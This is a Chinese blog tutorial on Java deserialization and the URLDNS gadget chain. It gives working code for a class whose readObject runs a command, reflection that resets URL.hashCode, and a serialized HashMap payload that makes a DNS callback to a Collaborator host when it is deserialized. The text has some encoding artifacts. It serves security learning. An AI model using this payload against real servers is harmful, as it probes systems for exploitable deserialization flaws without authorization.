JAVA URLDNS鏈分析利用
JAVA URLDNS鏈分析利用
認(rèn)識Java反序列化知識
Java原生鏈序列化:利用Java.io.ObjectInputStream對象輸出流的writerObject方法實(shí)現(xiàn)Serializable接口從而將對象轉(zhuǎn)化為字節(jié)序列用于對對象數(shù)據(jù)進(jìn)行存儲轉(zhuǎn)移
舉例:
package org.example;//對象
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class Person implements Serializable {
private transient String name;//transient表示不會被序列化帶上后會發(fā)現(xiàn)后面name是null
private int age;
public Person(){
}// 構(gòu)造函數(shù)
public Person(String name, int age){
this.name = name;
this.age = age;
}
@Override
public String toString(){
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
private void readObject(ObjectInputStream ois) throws IOException,ClassNotFoundException{
ois.defaultReadObject();//調(diào)用ois.defaultReadObject()讀取默認(rèn)對象字段
Runtime.getRuntime().exec("calc.exe");//代碼執(zhí)行命令Runtime.getRuntime().exec("calc.exe")
} //來調(diào)用計(jì)算器應(yīng)用程序。
}//會彈出個計(jì)算機(jī)
序列化
package org.example;//序列化
import java.io.*;
import java.lang.reflect.Field;
import java.net.HttpURLConnection;
public class SerializationTest {
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);//獲得序列化數(shù)據(jù)生成ser.bin文件
}
public static void main(String[] args) throws Exception{
Person person= new Person("aa",22);
System.out.println(person);//打印
serialize(person); //序列化
打印并生成ser.bin文件。
能看出來一點(diǎn)點(diǎn)知道是序列化但要怎樣解出來具體內(nèi)容就要反序列化讀取或者分析源碼了。
反序列化
package org.example;//反序列化
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class UnserializeTest {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception{
Person person = (Person)unserialize("ser.bin");//反序列化強(qiáng)制轉(zhuǎn)換類型
System.out.println(person);//打印
}
}
成功彈出計(jì)算機(jī)。 但實(shí)際上像 Runtime.getRuntime().exec("calc.exe");這種不會直接調(diào)用這種危險(xiǎn)的方法的。
URLDNS鏈
URLDNS與版本無關(guān),這個攻擊是依賴于Java內(nèi)置類。
URLDNS反序列化鏈只能發(fā)起DNS請求無法進(jìn)行其他利用攻擊可作為驗(yàn)證是否有反序列化漏洞。
源碼
使用bp生成個鏈接。
package org.example;//正常urldns序列化
import java.io.*;
import java.lang.reflect.Field;
import java.net.HttpURLConnection;
import java.util.HashMap;
import java.util.Map;
import java.net.URL;
public class SerializationTest {
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception{
HashMap<URL,Integer> hashmap= new HashMap<>();//new累
URL url =new URL("http://ulj8wykdbqhab5ywew263gbyzp5kt9.oastify.com");//bp生成
//Class c = url.getClass();
//Field hashcodefield=c.getDeclaredField("hashCode");
//hashcodefield.setAccessible(true);
//int originalHashCode = hashcodefield.getInt(url);
//hashcodefield.set(url,123);
//int or = hashcodefield.getInt(url);
//new之后 hashCode = -1 復(fù)制后 hashCode != -1就會發(fā)生dns請求
hashmap.put(url,1);
//int orr = hashcodefield.getInt(url);
//hashcodefield.set(url,originalHashCode);
//int orrr = hashcodefield.getInt(url);
// 如果在這個位置將hashCode 改回 -1 就不會發(fā)生dns請求從而可以通過dns請求是否發(fā)生來判斷是否反序列化
// Person person = new Person("aa",22);
// System.out.println(person);
serialize(hashmap);
}
package org.example;//反序列化
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class UnserializeTest {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception{
unserialize("ser.bin");
}
}
調(diào)試
先序列化運(yùn)行一次嘗試查看。
image-20230718150237706
我們運(yùn)行后發(fā)現(xiàn) **hashmap.put(url,1);**put后便發(fā)起了dns請求即會導(dǎo)致我們收到dns后無法判斷該dns是不是反序列化發(fā)出的。
查找DNS的原因
ctrl+單機(jī)左鍵分別跟進(jìn)函數(shù)。
URL
URL ——>public URL(String spec) throws MalformedURLException {
private int hashCode = -1;//跟進(jìn)這個發(fā)現(xiàn)當(dāng)url被new出了 hashCode被賦值為-1
image-20230718161400289
image-20230718161743988
PUT
hashmap.put(url,1)
put——>putVal(hash(key)
hash——> (h = key.hashCode()) ^ (h >>> 16)
hashCode
hashmap.put----.>
k5hai-1311151548.cos.ap-shanghai.myqcloud.comk5hai-1311151548.cos.ap-shanghai.myqcloud.comk5hai-1311151548.cos.ap-shanghai.myqcloud.comimage-20230718150727563.png
k5hai-1311151548.cos.ap-shanghai.myqcloud.comk5hai-1311151548.cos.ap-shanghai.myqcloud.comimage-20230718150744365.png
hashmap.put----.>hash---->
image-20230718162025962
hashmap.put----.>hash---->hashCode---->
image-20230718162044876
image-20230718161400289
image-20230718163404677
hashmap.put----.>hash---->hashCode---->getHostAddress---->
image-20230718163555629
當(dāng)HashMap傳入一個URL時,會進(jìn)行一次DNS解析,并將hashCode賦值為-1 當(dāng)進(jìn)行put時就會觸發(fā)dns。
調(diào)用hash(key)方法,此時也會判斷key的hashMap,如果是-1則會觸發(fā)一次dns請求所以假設(shè)我們可以控制hashCode的值當(dāng)初次進(jìn)行hashmap.put(url,1);時我們將其改為其他值,hashmap.put(url,1)后再將其改回**-1**這樣就可通過DNS判斷是否反序列化.這個需要引入Java中的反射的知識。
hashmap.put----.>hash---->hashCode---->getHostAddress--->DNS
Java中的反射
概念
Java中的反射是指在運(yùn)行時動態(tài)地獲取類的信息并操作類的成員(字段、方法、構(gòu)造函數(shù)等)的能力。通過反射,可以在運(yùn)行時獲取類的信息,如類的名稱、父類、接口、字段、方法等,并且可以通過反射的API來動態(tài)地創(chuàng)建對象、調(diào)用方法、訪問和修改字段等。
Java的反射機(jī)制主要由以下幾個類和接口組成:
Class類:表示一個類或接口,在運(yùn)行時可以獲取類的信息,如名稱、父類、接口、字段、方法等。
Constructor類:表示一個構(gòu)造函數(shù),可以通過Constructor類來創(chuàng)建對象。
Field類:表示一個字段(成員變量),可以通過Field類來訪問和修改字段的值。
Method類:表示一個方法,可以通過Method類來調(diào)用方法。
個人理解:
反射就是中途改一些定義好或者生成好的數(shù)值,當(dāng)一個類。方法啥的在被調(diào)用是我們可以通過反射機(jī)制創(chuàng)造出一個一樣的并且這個我們可以對其屬性值進(jìn)行更改。
反射優(yōu)缺點(diǎn)
優(yōu)點(diǎn):
動態(tài)性:反射使得程序能夠在運(yùn)行時動態(tài)地獲取和操作類的信息,而不需要在編譯時就確定類的具體類型。這使得程序能夠更加靈活和適應(yīng)不同的情況。
擴(kuò)展性:通過反射,程序可以動態(tài)地加載和使用不同的類,從而實(shí)現(xiàn)更好的擴(kuò)展性。這在一些框架和插件系統(tǒng)中非常有用,可以讓程序在不修改代碼的情況下添加新的功能。
調(diào)試和分析:反射可以用于調(diào)試和分析程序。通過反射,可以獲取類的結(jié)構(gòu)信息,查看字段、方法、構(gòu)造函數(shù)等的屬性和值,幫助開發(fā)人員理解和排查問題。
缺點(diǎn):
性能開銷:反射通常比直接調(diào)用方法或訪問字段的方式更加耗時。這是因?yàn)榉瓷湫枰谶\(yùn)行時進(jìn)行額外的檢查和處理,包括訪問權(quán)限檢查、類型轉(zhuǎn)換等。因此,在性能要求較高的場景下,反射可能不是一個好的選擇。
安全性問題:反射可以繞過訪問權(quán)限的限制,讓程序可以訪問和修改本來不應(yīng)該被訪問的類、方法、字段等。這可能會引發(fā)安全漏洞,因此在使用反射時需要謹(jǐn)慎處理權(quán)限控制。
可讀性和維護(hù)性:使用反射可以讓代碼更加靈活和動態(tài),但也會增加代碼的復(fù)雜性和難度。反射的使用通常需要更多的代碼和更復(fù)雜的邏輯,這可能會降低代碼的可讀性和維護(hù)性。
反射的用途
在反序列化中他的作用就是改屬性值。
舉例
源碼
package org.example;//對象
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class Person implements Serializable {
private transient String name;
private int age;
public Person(){
}// 構(gòu)造函數(shù)
public Person(String name, int age){
this.name = name;
this.age = age;
}
@Override
public String toString(){
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}
package org.example;//反射
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class Reflectiontest {
public static void main(String[] args) throws Exception{
Person person = new Person();//new一個對象
//整個Class類對象
Class a = person.getClass();
//開始操作Class
//a.newInstance();無參
//a.getConstructor();有參
//從原型class實(shí)例化對象
Constructor person_constructor = a.getConstructor(String.class,int.class);
//選擇合適的構(gòu)造函數(shù),根據(jù)參數(shù)類型選擇構(gòu)造函數(shù)(知道對象是一個名字一個年齡所以String.class,int.class)
Person p = (Person) person_constructor.newInstance("小王",222); //實(shí)例化一個類對象
System.out.println(p);//打印
Field personfields =a.getDeclaredField("name");//獲取Person類的私有字段name
personfields.setAccessible(true);//獲得私有成員的訪問限制
personfields.set(p,"小李");//將name字段進(jìn)行更改
System.out.println(p);//打印
//下面是其他用法
//獲取類里面的屬性
//同時編輯多行 alt+shift+ins
// Field[] personfields = a.getFields(); //只能獲得public類型的屬性
// for(Field f:personfields){//打印
// System.out.println(f);
// }
//Method[] aa=a.getMethods();//類或接口的所有公共方法
//for (Method n:aa){ //批量打印
// System.out.println(n);
//}
// Field[] personfields1 = a.getDeclaredFields(); //可以獲取public,protected,private屬性
// for(Field f:personfields1){
// System.out.println(f);
// }
//獲取特定的屬性
//Field namefield = a.getDeclaredField("sex");
//如果遇到private屬性,需要用這個,表示可以修改;而public 和 protected可以直接修改
//namefield.setAccessible(true);
// namefield.set(p,"aaa");
// System.out.println(p);
//獲取方法,調(diào)用方法
//得到所有方法
// Method[] personmethods = a.getMethods();
// for(Method i:personmethods){
// System.out.println(i);
// }
//得到特定的方法
// Method actionmethod = a.getMethod("action", String.class);
// actionmethod.invoke(p,"aaas");
// System.out.println(p);
//如果要調(diào)用私有方法,那么也是使用declared,還有setaccessible
}
}
image-20230718184726771
注意:jdk9一搜可能出現(xiàn)。
image-20230718185016400
module java.base does not “opens java.lang” to unnamed module @1941a8ff//報(bào)錯出現(xiàn)什么將什么替換
--add-opens java.base/java.lang=ALL-UNNAMED//在編譯配置中添加vm即可
module java.base does not “opens java.lang.reflect“ to unnamed module
--add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED
URLDNS攻擊鏈
鏈子:HashMap類的put方法中調(diào)用了hash()方法->HashMap類的hash()方法中調(diào)用了hashCode()方法。
package org.example;//序列化
import java.io.*;
import java.lang.reflect.Field;
import java.net.HttpURLConnection;
import java.util.HashMap;
import java.util.Map;
import java.net.URL;
public class SerializationTest {
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception{
HashMap<URL,Integer> hashmap= new HashMap<>();//開始
URL url =new URL("http://qd7ybrqywdf1nej0k23pupu6lxrqff.oastify.com");//傳入url
Class c = url.getClass();//反射
Field hashcodefield=c.getDeclaredField("hashCode");//獲取hashCode參數(shù)
hashcodefield.setAccessible(true);//獲得私有成員的訪問限制
int originalHashCode = hashcodefield.getInt(url);//存一下初始值 -1
hashcodefield.set(url,123);//修改hashCode的值
int or = hashcodefield.getInt(url);//觀察修改后hashCode的值
//new之后 hashCode = -1 復(fù)制后 hashCode != -1就會發(fā)生dns請求
hashmap.put(url,1);//put
int orr = hashcodefield.getInt(url);//沒啥用,只是為了在動態(tài)調(diào)試中觀察put后hashCode的數(shù)值
hashcodefield.set(url,originalHashCode);//修改回hashCode的值 -1
int orrr = hashcodefield.getInt(url);//沒啥用,只是為了在動態(tài)調(diào)試中觀察hashCode的數(shù)值
// 如果在這個位置將hashCode 改回 -1 就不會發(fā)生dns請求從而可以通過dns請求是否發(fā)生來判斷是否反序列化
serialize(hashmap);
}
}
package org.example;//反序列化
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class UnserializeTest {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception{
// Person person = (Person)unserialize("ser.bin");
// System.out.println(person);
unserialize("ser.bin");
}
}
運(yùn)行看一下:
image-20230718204643435
發(fā)現(xiàn)序列化后并沒有發(fā)起請求。
反序列化
image-20230718205141538
可以觀察到反序列化后發(fā)起了DNS請求,這說明我們的URLDNS鏈制作完成,我們可以通過DNS請求判斷是否發(fā)生反序列化。
動調(diào)觀察一下 hashCode的值。
image-20230718205903994
發(fā)現(xiàn)和我們設(shè)想的較為一致。
自此URLDNS鏈算是結(jié)束了,初始java反序列化感覺巨難但多看幾遍自己調(diào)試幾遍感覺也還可用哈!!!
本文作者:k5haioo, 轉(zhuǎn)載請注明來自FreeBuf.COM